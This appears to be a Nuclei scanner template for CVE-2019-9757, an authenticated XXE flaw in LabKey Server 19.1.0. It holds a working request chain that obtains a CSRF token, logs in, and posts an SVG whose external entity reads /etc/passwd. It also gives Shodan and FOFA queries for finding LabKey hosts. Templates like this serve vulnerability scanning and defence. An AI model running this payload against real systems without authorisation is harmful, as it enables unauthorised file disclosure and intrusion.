CVE-2019-9757: LabKey Server 19.1.0 - XML External Entity (XXE)

id: CVE-2019-9757

info:
  name: LabKey Server 19.1.0 - XML External Entity (XXE)
  author: ritikchaddha
  severity: high
  description: |
    An issue was discovered in LabKey Server 19.1.0. Sending an SVG containing an XXE payload to the endpoint visualization-exportImage.view or visualization-exportPDF.view allows local files to be read.
  reference:
    - https://rhinosecuritylabs.com/application-security/labkey-server-vulnerabilities-to-rce/
    - https://github.com/LabKey/Issues/issues/37636
    - https://nvd.nist.gov/vuln/detail/CVE-2019-9757
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2019-9757
    cwe-id: CWE-611
    epss-score: 0.71976
    epss-percentile: 0.98703
    cpe: cpe:2.3:a:labkey:labkey_server:19.1.0:*:*:*:*:*:*:*
  metadata:
    max-request: 3
    vendor: labkey
    product: labkey_server
    shodan-query: title:"LabKey"
    fofa-query: title="LabKey"
  tags: cve,cve2019,labkey,xxe,authenticated

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        GET /labkey/home/project-begin.view HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: csrf
        group: 1
        regex:
          - '"X\-LABKEY\-CSRF":"([0-9a-z]+)"'
        internal: true

  - raw:
      - |
        POST /home/login-loginApi.api HTTP/1.1
        Host: {{Hostname}}
        X-LABKEY-CSRF: {{csrf}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        remember=on&email={{username}}&password={{password}}&approvedTermsOfUse=false

    host-redirects: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - '!status_code == 400'
        condition: and

  - raw:
      - |
        POST /labkey/home/visualization-exportPDF.view HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=---------------------------735323031399963166993862150

        -----------------------------735323031399963166993862150
        Content-Disposition: form-data; name="X-LABKEY-CSRF"

        {{csrf}}
        -----------------------------735323031399963166993862150
        Content-Disposition: form-data; name="svg"

        <?xml version="1.0" standalone="yes"?>
        <!DOCTYPE root [ <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]>
        <svg width="500px" height="500px" xmlns="http://www.w3.org/2000/svg">
        <text x="0" y="15" fill="red">&xxe;</text>
        </svg>
        -----------------------------735323031399963166993862150
        Content-Disposition: form-data; name="title"

        test
        -----------------------------735323031399963166993862150--

    matchers:
      - type: dsl
        dsl:
          - 'regex("root:.*:0:0:", body)'
          - 'status_code == 200'
        condition: and
# digest: 4b0a00483046022100d4b449bf068afd44d4819454e5211d751a3df240b10e4d300fc569053e7ee070022100e42114485745aa6598e5e040a38a69ab28e8a40072dbd22aa2477f2a2d3da8ed:922c64590222798bb761d5b6d8e72950